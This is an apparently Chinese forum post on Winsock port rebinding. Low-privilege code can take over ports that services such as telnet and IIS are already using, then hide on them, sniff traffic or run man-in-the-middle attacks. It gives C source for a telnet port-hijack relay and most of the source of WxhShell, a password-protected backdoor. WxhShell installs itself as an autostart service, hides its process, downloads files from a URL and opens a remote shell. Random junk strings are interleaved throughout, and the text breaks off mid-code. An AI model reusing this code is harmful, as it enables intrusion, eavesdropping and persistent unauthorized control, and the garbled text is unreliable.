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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: SFP?ND+7  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); MdkL_YP}.  
1"<{_&d1  
  saddr.sin_family = AF_INET; nC$ c.K'  
~S :8M<aB  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ]5j>O^c<  
}HbUB$5  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); $_a/!)bP  
8ce'G" b  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 \:JY[s/  
"K|':3n|  
  这意味着什么?意味着可以进行如下的攻击: Bbb":c6w0  
voP #}fD  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 .[:WMCc\  
*r~6R  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) "Rf|o 6!d  
-4J.YF>  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 a9 S&n5  
i3(5 '  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Z]Z&PbP  
\`/ P*  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 fgo3Gy*#  
CRzLyiRvU&  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 xo-}t5w6t  
"6%qi qt  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 =zp{ ^mC  
`J{{E,y @  
  #include |`I9K#w3  
  #include }U%E-:  
  #include 3][   
  #include    us:v/WTQ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   2of+KI:  
  int main() Dn>C :YS`  
  { /Vv)00  
  WORD wVersionRequested; ~( rZ)  
  DWORD ret; sG|,#XQ  
  WSADATA wsaData; gV5mERKs  
  BOOL val; rb>2l3g*  
  SOCKADDR_IN saddr; &MONg=s3  
  SOCKADDR_IN scaddr; p .~5k  
  int err; d-8g  
  SOCKET s;  $iH  
  SOCKET sc; 5VN~?#K  
  int caddsize; NfCo)C-t  
  HANDLE mt; ypA 9WF  
  DWORD tid;   WUx2CK2N  
  wVersionRequested = MAKEWORD( 2, 2 ); #Oa`P  
  err = WSAStartup( wVersionRequested, &wsaData ); h9. Yux  
  if ( err != 0 ) { z`dnS]q9  
  printf("error!WSAStartup failed!\n"); r6:nYyF$)v  
  return -1; W3MH8z   
  } p5nrPL  
  saddr.sin_family = AF_INET; tKi ^0vE8  
   <V8=*n"mR  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ^h<ElK  
VhgcvS@V  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); q^[SN  
  saddr.sin_port = htons(23); 0|rdI,z  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) IPY[x|  
  { ,;=is.h9  
  printf("error!socket failed!\n"); <z wI@i  
  return -1; BJZGQrsz  
  } eTtiAF=bW  
  val = TRUE; p|)j{nc  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 gF~ }  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ) d=&X|S>  
  { Fow{-cs_p  
  printf("error!setsockopt failed!\n"); E3_ 5~>  
  return -1; ~~,#<g[  
  }  n4AQ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ugW.nf*O  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 vb\R~%@T,  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 )Z`OkkabnD  
lI[O!Vu Kc  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ,z$ U=u o  
  { pD6a+B\;k  
  ret=GetLastError(); '&y+,2?;Y[  
  printf("error!bind failed!\n"); Y;sN UX  
  return -1; ,fs>+]UY3  
  } s:sk`~2<gd  
  listen(s,2); ).r04)/  
  while(1) g$Ns u:L  
  { myZ8LQ&  
  caddsize = sizeof(scaddr); z-kB!~r  
  //接受连接请求 tlmfDQD  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); `?(9Bl  
  if(sc!=INVALID_SOCKET) $0;Dk,  
  { +]# p m9  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); e]l.m!,r  
  if(mt==NULL) (ZK(ODn)i  
  { Biy$p6  
  printf("Thread Creat Failed!\n"); f{R/rb&iB  
  break; 1uc;:N G=  
  } \XG\  
  } u|&a!tOf2  
  CloseHandle(mt); 5'"9)#Ve  
  } #tt*yOmiH  
  closesocket(s); |w`Q$ c  
  WSACleanup(); mk?F+gh  
  return 0; E njSio0  
  }   gG46hO-M%x  
  DWORD WINAPI ClientThread(LPVOID lpParam) y/Q,[Uzk\  
  { |uln<nM9  
  SOCKET ss = (SOCKET)lpParam; izP>w*/nO  
  SOCKET sc; -Wl79lE  
  unsigned char buf[4096]; KrD?Z2x  
  SOCKADDR_IN saddr; U\tujK1  
  long num; )u5+<OG}=  
  DWORD val; PPj0LFA  
  DWORD ret; ->U9u lTC  
  //如果是隐藏端口应用的话,可以在此处加一些判断 :]IY w!_-p  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   _i1x\Z~ N  
  saddr.sin_family = AF_INET; E#+|.0*!s  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); +C9 l7 q  
  saddr.sin_port = htons(23); G(7WUMjl  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9GVv[/NAb  
  { C%kIxa)  
  printf("error!socket failed!\n"); o[K,(  
  return -1; |1"n\4$  
  } d} ]jw4  
  val = 100; Qw/H7fvh&  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Q2!vO4!<N  
  { >[gNQJ6  
  ret = GetLastError(); sJ)Pj?"\?  
  return -1; g E;o_~  
  } Q.L.B7'e7  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) z] teQaUZ  
  { S9S%7pE  
  ret = GetLastError(); xy1R_*.F^T  
  return -1; '"Y(2grP  
  } YST{ h{  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ir3EA'_>N  
  { <Yy|.=6 D  
  printf("error!socket connect failed!\n"); yj C@  
  closesocket(sc); :/'oh]T|  
  closesocket(ss); \#)w$O  
  return -1; Oi4tG&q  
  } XfH[: XG3  
  while(1) d,caOE8N  
  { JQ]A"xTIa*  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 WkR=(dss8  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 )Fh5*UC  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 \L{V|}"X  
  num = recv(ss,buf,4096,0);  q<Zza  
  if(num>0) ;*XH[>I  
  send(sc,buf,num,0); VRa>bS  
  else if(num==0) |jE0H!j  
  break; 8P3"$2q  
  num = recv(sc,buf,4096,0); 5]yby"Z?}  
  if(num>0) whvvc2  
  send(ss,buf,num,0); I9;,qd%<T  
  else if(num==0) `E2HQA@  
  break; Z`Sbq{Kx  
  } L4-v'Z;  
  closesocket(ss); :LEC[</yvl  
  closesocket(sc); As-xO~+  
  return 0 ; C;NG#4;'  
  } -7:_Dy  
(S1Co&SX  
s+OXT4>+  
========================================================== 8[xl3=  
8xN+LL'T{  
下边附上一个代码,,WXhSHELL ]:r6  
rGb<7b%  
========================================================== tDIQ=  
d/Y#oVI  
#include "stdafx.h" wmnh7'|0u  
MGE8S$Z  
#include <stdio.h> QNe siV0MI  
#include <string.h> .-HwT3  
#include <windows.h> - HiRXB  
#include <winsock2.h> #[.aj2  
#include <winsvc.h> 5'z D}[2  
#include <urlmon.h> jM!Q 04(  
3r-oZ8/n  
#pragma comment (lib, "Ws2_32.lib") $;%k:&\f  
#pragma comment (lib, "urlmon.lib") Th>ff)~ e  
8%Hc%T[RnT  
#define MAX_USER   100 // 最大客户端连接数 lLi)?  
#define BUF_SOCK   200 // sock buffer K)[DA*W  
#define KEY_BUFF   255 // 输入 buffer %{HeXe  
DA wUG  
#define REBOOT     0   // 重启 $Cx?%X^b  
#define SHUTDOWN   1   // 关机 |g,99YIv>  
Js}1_K  
#define DEF_PORT   5000 // 监听端口 ni`uO<\U  
{ZIEIXWb2  
#define REG_LEN     16   // 注册表键长度 >#~>!cv6D  
#define SVC_LEN     80   // NT服务名长度 JOFQyhY0>m  
^^Te  
// 从dll定义API #)PAvBJ;m  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); vkE a[7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]<Kkq !  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); " ';K$&,[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *~SanL\  
SA[wF c  
// wxhshell配置信息 iw\yVd^]:k  
struct WSCFG { ^M6R l0  
  int ws_port;         // 监听端口 ^ R7|x+  
  char ws_passstr[REG_LEN]; // 口令 ^9fY %98  
  int ws_autoins;       // 安装标记, 1=yes 0=no K|sk]2.  
  char ws_regname[REG_LEN]; // 注册表键名 Vc*"Q8aZ~  
  char ws_svcname[REG_LEN]; // 服务名 o4F(X0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ALXie86a8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7w51UmO  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 P}8cSX9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no R;3n L[{U  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^bG91"0A  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !@3"vd{^  
5-?*Boi>i  
}; My<.^~  
2D)B%nM[  
// default Wxhshell configuration 'B yB1NL  
struct WSCFG wscfg={DEF_PORT, It:,8  
    "xuhuanlingzhe", 6%L#FSI  
    1, !j%MN{#a  
    "Wxhshell", 51-@4E2:l:  
    "Wxhshell", Fv$oXg/  
            "WxhShell Service", :erfs}I  
    "Wrsky Windows CmdShell Service", V 0z`p"  
    "Please Input Your Password: ", r@u8QhD  
  1, SQs+4YJ  
  "http://www.wrsky.com/wxhshell.exe", b>]k=zd  
  "Wxhshell.exe" ^ DCBL&I  
    }; x|`BF%e/v  
t 0.71(  
// 消息定义模块 _Nacqa  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Lq2ZgKd!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >0E3Em<(}l  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _|VF^\i  
char *msg_ws_ext="\n\rExit."; @id!F<+%oD  
char *msg_ws_end="\n\rQuit."; H;{IOBo  
char *msg_ws_boot="\n\rReboot..."; IN7Cpg~9%  
char *msg_ws_poff="\n\rShutdown..."; P"f4`q  
char *msg_ws_down="\n\rSave to "; #Oi{7~  
w8}jmpnI  
char *msg_ws_err="\n\rErr!";  !U=o<)I  
char *msg_ws_ok="\n\rOK!"; |'qvq/#^  
/(8"9Sfm  
char ExeFile[MAX_PATH]; ~CuJ$(9Y  
int nUser = 0; R4vf  
HANDLE handles[MAX_USER]; YHzP/&0  
int OsIsNt; U%)-_ *`z  
=*{Ii]D  
SERVICE_STATUS       serviceStatus; k&lfxb9pd  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^C'{# p"  
}'`}| pM$  
// 函数声明 {uN-bl?o  
int Install(void); rT(b t~Z  
int Uninstall(void); yb6gYN  
int DownloadFile(char *sURL, SOCKET wsh); LK+67Y{25  
int Boot(int flag); @{{6Nd5  
void HideProc(void); ~s*kuj'%+  
int GetOsVer(void); &} r-C97  
int Wxhshell(SOCKET wsl); qs {wrem  
void TalkWithClient(void *cs); >|aVGY  
int CmdShell(SOCKET sock); KAg-M#  
int StartFromService(void); 9AJ"C7  
int StartWxhshell(LPSTR lpCmdLine); K57u87=*X?  
UM2yv6:/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =[,EFkU?B  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); MdhD "Q  
Q zp!)i  
// 数据结构和表定义 zZ94_8b  
SERVICE_TABLE_ENTRY DispatchTable[] = K-[;w$np0  
{ |7QSr!{_  
{wscfg.ws_svcname, NTServiceMain}, ~S\,  
{NULL, NULL} xnxNc5$oE  
}; >i"WKd=  
|3mcL'  
// 自我安装 VS3lz?o?6g  
int Install(void) %7[q%S  
{ rvuasr~  
  char svExeFile[MAX_PATH]; lvx[C7?  
  HKEY key; HCT+.n6  
  strcpy(svExeFile,ExeFile); u#UtPF7q  
.uSVZqJ7  
// 如果是win9x系统,修改注册表设为自启动 _rg*K  
if(!OsIsNt) { fp}5QUm-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QmMA]Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X?o6=)SC|  
  RegCloseKey(key); 7{\6EC}d[&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~r_2V$sC2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $WXO1o(O  
  RegCloseKey(key); kB.CeG]tk  
  return 0; 2!R+5^Iy  
    } 2~R%_r+<  
  } 5Q\ hd*+g  
} *7w!~mn[m  
else { aNBwb9X  
"RTv[n!  
// 如果是NT以上系统,安装为系统服务 .FN 6/N\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W ", yq|  
if (schSCManager!=0) Z*Rg ik  
{ N:;z~`  
  SC_HANDLE schService = CreateService .03Rp5+v  
  ( 6F5g2hBz  
  schSCManager, WIabQ_fX  
  wscfg.ws_svcname, P *&Cght>0  
  wscfg.ws_svcdisp, my0iE:  
  SERVICE_ALL_ACCESS, 1Tr%lO5?6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =RAojoN  
  SERVICE_AUTO_START, \OXQ%J2v  
  SERVICE_ERROR_NORMAL, ]( FFvqA  
  svExeFile, gVrfZ&XF84  
  NULL, !hjF"Pa  
  NULL, rZWs-]s6t  
  NULL, V"B/4v>  
  NULL, )2Bb,p<Wr  
  NULL H>o \C  
  ); xIwILY|W=  
  if (schService!=0) O`5hj q#  
  { +cM~|  
  CloseServiceHandle(schService); h^ K]ASj  
  CloseServiceHandle(schSCManager); =WHI/|&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); f[ KI T  
  strcat(svExeFile,wscfg.ws_svcname); ZL:SJ,C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6AoKuT;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); IJVzF1vC  
  RegCloseKey(key); {u+=K-Bj  
  return 0; [ . }Uzx  
    } j#xGB]  
  } "dT"6,  
  CloseServiceHandle(schSCManager); m2P&DdN[  
} $f%om)  
} @1xIph<z  
z{&z  
return 1; qzEv!?)a  
}  56MY@  
x4(8 =&Z  
// 自我卸载 tfD7!N{  
int Uninstall(void) y` {|D*  
{ jz]}%O  
  HKEY key; 4j8$& ~/  
{pA&Q{ ^  
if(!OsIsNt) { mi.,Z`]o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3@:O1i  
  RegDeleteValue(key,wscfg.ws_regname); MkhD*\D /  
  RegCloseKey(key); )+DDIq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -2(?O`tZ  
  RegDeleteValue(key,wscfg.ws_regname); IMBjI#\  
  RegCloseKey(key); R1/c@HQw?  
  return 0; o)>iHzR</  
  } i"x V=.  
} ,FXc_BCx4  
} 7XLqP  
else { qWx{eRp d  
ve:Oe{Ie{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8&nb@l  
if (schSCManager!=0) J_fs}Y1q\  
{ Pd-LDs+Ga  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `HO] kJpX  
  if (schService!=0) ~9xkiu5~  
  { |rG)Q0H,  
  if(DeleteService(schService)!=0) { ( mn:!3H%  
  CloseServiceHandle(schService); 00{a }@n  
  CloseServiceHandle(schSCManager); B:Ft(,  
  return 0; a 9{:ot8,  
  } _aBy>=2c$  
  CloseServiceHandle(schService); u! &T}i:  
  } hlZ{bO 'f  
  CloseServiceHandle(schSCManager); 3%Eu$|B  
} :U *8S\$  
} n#}~/\P6  
^#Mp@HK  
return 1; N  /'  
} .ZV='i()X  
j S[#R_  
// 从指定url下载文件 fVf:voh  
int DownloadFile(char *sURL, SOCKET wsh) 9D Nd} rXO  
{ (wuciKQ  
  HRESULT hr; Jm#p!G+  
char seps[]= "/"; ck%YEMs  
char *token; Vo+.s#wN`h  
char *file; 9_nbMs   
char myURL[MAX_PATH]; '=%`;?j  
char myFILE[MAX_PATH]; vm{8x o  
+2}cR66%  
strcpy(myURL,sURL); [ZC\8tP`V  
  token=strtok(myURL,seps); 93:oXyFjD  
  while(token!=NULL) 97$Q?a8S@  
  { KO%$  
    file=token; W$2 \GPJt  
  token=strtok(NULL,seps); 2K{'F1"RM  
  } /H"fycZ  
/CMgWGI  
GetCurrentDirectory(MAX_PATH,myFILE); F'sX ^/;  
strcat(myFILE, "\\"); ]uMZvAjb  
strcat(myFILE, file); k52IvB@2  
  send(wsh,myFILE,strlen(myFILE),0); MmfBFt*  
send(wsh,"...",3,0); +3o0GJ   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <\fA}b  
  if(hr==S_OK) ?|/K(}  
return 0; x;$ESPPg  
else M:/(~X{?  
return 1; /e[m;+9^&  
zi3v, Kq  
} iETUBZ  
~[dL:=?c  
// 系统电源模块 }A,!|m4  
int Boot(int flag) KvEv0L<ky  
{ 7s3=Fa:9Q  
  HANDLE hToken; iw=e"6V  
  TOKEN_PRIVILEGES tkp; sNcU>qjj6  
*4NY"EwjN  
  if(OsIsNt) { gzn:]Y^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); n|6G\99l+M  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Du65>O  
    tkp.PrivilegeCount = 1; 8h }a:/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *~shvtq  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); U#S-x5Gn  
if(flag==REBOOT) { 2 oV6#!{Z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) F6111Q </  
  return 0; 1^*ogMe  
} VFx[{Hy  
else { li v=q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) CHZ/@gc  
  return 0; <5}I6R;  
} Hg<aU*o;  
  } IN<nZ?D#  
  else { )^AZmUYZ  
if(flag==REBOOT) { \8!CKnfs  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {U$XHG  
  return 0; R]e&JoY  
} Z37Dv;&ZD  
else { k ,ldi  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) G+Z ,i c  
  return 0; ,Yx<"2 W  
} ?d%{-  
} =X^a  
E:B"!Y6  
return 1; Y'~O_coG  
} !j`<iPI7B  
UkpTK8>&  
// win9x进程隐藏模块 V0Oqq0\  
void HideProc(void) fdX|t "oz  
{ @vyEN.K%mm  
`|>]P"9yp  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Hzm_o>^KC  
  if ( hKernel != NULL ) Uq_lT,  
  { iKV|~7nwO  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Zv!XNc!"$y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;`LG WT-<F  
    FreeLibrary(hKernel); ,$ /Ld76U  
  } 5I1YB+$}e  
nRB3VsL  
return;  R*2N\2  
} 3IQI={:k|D  
+DX P &Q  
// 获取操作系统版本 fX 1%I  
int GetOsVer(void) KYw7Jx`l  
{  iY$iL<  
  OSVERSIONINFO winfo; E56  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^pd7nr~Y  
  GetVersionEx(&winfo); %q3`k#?<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ut\ X{.r7  
  return 1; B!,&{[D  
  else No6-i{HZ  
  return 0; XP o#qT8n  
} poW%Fzj  
d]E={}qo&  
// 客户端句柄模块 bAH<h   
int Wxhshell(SOCKET wsl) jY%.t)>)  
{ au+Jz_$)  
  SOCKET wsh; A :KZyd"Z  
  struct sockaddr_in client; )Cj1VjAg  
  DWORD myID; M0xhcU_  
G.<0^q,  
  while(nUser<MAX_USER) $%\6"P/64  
{ qMVuFw Phi  
  int nSize=sizeof(client); yOQae m^O  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); gAorb\iJ  
  if(wsh==INVALID_SOCKET) return 1; Z;a)P.l.>  
\1joW#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9%|skTgIqH  
if(handles[nUser]==0) hvO$ f.i  
  closesocket(wsh); ]58~b%s  
else Cy uRj[;B  
  nUser++; aY? VP?BL  
  } %n9ukc~$p  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "GZ}+K*GG  
 %V ]v,  
  return 0; h M7 SGEV  
} 9#P~cW?  
y7:f^4  
// 关闭 socket n.8870.BW  
void CloseIt(SOCKET wsh) ejyx[CF  
{ 9q$^x/z!  
closesocket(wsh); I*Dj@f`  
nUser--; As>Og  
ExitThread(0); 8CRbo24"s  
} [zN*P$U]  
us?q^>u  
// 客户端请求句柄 DoFe:+_U3  
void TalkWithClient(void *cs) Z]Ud x  
{ *,CJ 3< >  
lMu9Dp  
  SOCKET wsh=(SOCKET)cs; 9y&;6V.'  
  char pwd[SVC_LEN]; Xw'sh#i2  
  char cmd[KEY_BUFF]; 0nCiN;sA  
char chr[1]; 2e1%L,y{W  
int i,j; HAI) +J   
o96c`a u  
  while (nUser < MAX_USER) { de2G"'F  
#tHYCSr]  
if(wscfg.ws_passstr) { &x\)] i2f  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'D`lVUB  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qGV(p}$O  
  //ZeroMemory(pwd,KEY_BUFF); B,_K mHItd  
      i=0; E_A5KLP  
  while(i<SVC_LEN) { d2i ?FT>  
dl8f]y#Q  
  // 设置超时 wT- -i@@  
  fd_set FdRead; R\3v=PR[  
  struct timeval TimeOut; ;}f {o^]'  
  FD_ZERO(&FdRead); |-{e!&  
  FD_SET(wsh,&FdRead); bws}'#-*  
  TimeOut.tv_sec=8; eDP&W$s#  
  TimeOut.tv_usec=0; iOhX\@&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \F`>zY2$%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); F7jkl4  
=J)-#|eZG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SC%HHu\l  
  pwd=chr[0]; /~WBqcl  
  if(chr[0]==0xd || chr[0]==0xa) { w<THPFFF"  
  pwd=0; ~Azj Y8  
  break; 9v;[T%%  
  } cy!P!t,@  
  i++; &L?]w=*  
    } nM &a2Z,T  
e<=Nd,v4;  
  // 如果是非法用户,关闭 socket g|| q 3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); r*mSnPz\q  
} YKU|D32  
$-pijBiz_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); x 2&5zp  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +924_,zF  
"2-D[rYZ  
while(1) { MtPdpm6\  
l x5.50mI  
  ZeroMemory(cmd,KEY_BUFF); 7_Te-i  
ndDF(qHr  
      // 自动支持客户端 telnet标准   "AXgT[ O  
  j=0; DAf@-~c  
  while(j<KEY_BUFF) { Q.jThP`p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -wx~*  
  cmd[j]=chr[0]; :%AEwRZ  
  if(chr[0]==0xa || chr[0]==0xd) { dQrz+_   
  cmd[j]=0; . 4RU'9M  
  break; NpM;vO  
  } <w*WL_P  
  j++; ?8s$RYp14  
    } 5`e;l$ M`  
](n)bF+ym  
  // 下载文件 !PeSnO  
  if(strstr(cmd,"http://")) { qhTVsZ:{C  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); XABP}|aWK  
  if(DownloadFile(cmd,wsh)) VuTTWBx  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); HbPn<x^7  
  else 6hR ` sE  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C7W<7DBf  
  } >0iCQKq  
  else { #b)`as?!1  
|N6.:K[`  
    switch(cmd[0]) { K% snE7X?)  
   LDU4 D  
  // 帮助 bFL2NH5  
  case '?': { =(\BM')l  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Z Q*hrgQ  
    break; e, 2/3jO  
  } YZ:C9:S6X  
  // 安装 m}D;=>2$  
  case 'i': { Q;z!]hjBM  
    if(Install()) RS&BS;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -e0[$v  
    else UEx<;P8rP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^C~R)M:C  
    break; FAc^[~E  
    } jK[*_V  
  // 卸载 '`<Fys&:  
  case 'r': { #1*7eANfr  
    if(Uninstall()) O<|pw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5wAKA`p"z  
    else | X#!5u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); stW G`>X  
    break; .w{Y3,dd>  
    } X}x\n\Z  
  // 显示 wxhshell 所在路径 %#&njP  
  case 'p': { t\YM Hq<Y  
    char svExeFile[MAX_PATH]; e9/Mjq\  
    strcpy(svExeFile,"\n\r"); OXKV6r6f  
      strcat(svExeFile,ExeFile); d)Z&_v<|  
        send(wsh,svExeFile,strlen(svExeFile),0); o+XQMg  
    break; +rSU  
    } CSW+UaE  
  // 重启 Gl|n}wo$  
  case 'b': { B6Ajcfy  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2T?Y  
    if(Boot(REBOOT)) T fIOS]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [Pjitw/?  
    else { v#s*I/kw  
    closesocket(wsh); z6B#F<h  
    ExitThread(0); W)T'?b'.  
    } b]xoXC6@t  
    break; KkpbZ7\@  
    } >O rIY  
  // 关机 (@!K tW  
  case 'd': { d@a<Eq  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `s UY$Q  
